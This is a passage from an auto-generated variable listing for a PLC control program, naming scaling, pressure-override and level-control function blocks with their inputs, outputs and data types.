+258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; 